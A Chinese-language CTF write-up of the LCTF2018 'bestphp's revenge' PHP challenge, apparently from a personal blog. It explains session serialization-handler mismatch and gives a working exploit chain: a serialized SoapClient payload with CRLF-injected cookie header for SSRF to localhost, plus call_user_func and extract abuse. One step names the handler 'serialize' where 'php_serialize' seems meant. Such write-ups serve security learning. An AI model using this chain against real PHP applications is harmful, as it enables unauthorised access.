LCTF2018-bestphp's revenge

本文最后更新于 2024年10月27日 晚上

前言:今天在学习php的原生类的时候看到的题,学习一下吧。

题目

在线靶场

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

分析

call_user_func()

把第一个参数作为回调函数调用

session反序列化

先看一下3种不同的 session 序列化处理器处理 session 的情况。先看案例代码

1
2
3
4
<?php
session_start();
$_SESSION['name'] = 'orange';
?>

当 session.serialize_handler=php 时,session文件内容为: name|s:6:"orange";

当 session.serialize_handler=php_serialize 时,session文件为:a:1:{s:4:"name";s:6:"orange";}

当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:6:"orange";

session反序列化和序列化时候使用不同引擎的时候,可以触发漏洞

php引擎会以|作为keyvalue的分隔符,传入内容时,如下

1
$_SESSION['name'] = '|username'

在使用php_serialize引擎时可以得到序列化内容

1
a:1:{s:4:"name";s:9:"|username";}

然后在进行反序列化的时候|被当做分隔符,于是

1
a:1:{s:4:"name";s:9:"

这部分会被当做key,然后后面的部分即username会被当做value

因此传入$_SESSION['name'] = |序列化内容这样的形式可以构造漏洞

PHP原生类SoapClient

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

可以调用其不存在的方法来触发__call魔术

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

由于其内置类有__call方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中(结合CRLF注入

解题

存在session反序列化的漏洞,取session的第一项与welcome_to_the_lctf2018构成数组,进行implode函数拼接

/flag下有内容

1
2
3
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{************************}';
if($\_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $\_SESSION['flag'] = $flag; }
only localhost can get flag!

说明需要我们对ip进行伪造

思路大体是利用SoapClient类构造出ssrf的序列化字符串,然后利用call_user_func修改配置,造成序列化与反序列化引擎不同的漏洞,再调用extract函数去变量覆盖,调用SoapClient类,从而触发__call 方法

(需要自行在php.ini里把内置类启用)

1
2
3
4
5
6
7
8
9
10
<?php
$a = new SoapClient(null,
array(
'user_agent' => "orange\r\nCookie:PHPSESSID=123456",
'uri' => 'orange',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
echo urlencode($b);
1
|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22orange%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22orange%0D%0ACookie%3APHPSESSID%3D123456%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

给f传入session_start,post传入serialize_handler=serialize更改session序列化时候的引擎

2024-10-27204433

实现session伪造,然后调用extract函数变量覆盖题目的implode函数,使得再次调用call_user_func函数,构造出下面命令

1
call_user_func(array("SoapClient","welcome_to_the_lctf2018"))

2024-10-27204523

最后回到index.php里面,改一下cookie

2024-10-27204556


LCTF2018-bestphp's revenge
https://0ran9ewww.github.io/2024/10/27/每日一题/LCTF2018-bestphp's revenge/
作者
orange
发布于
2024年10月27日
许可协议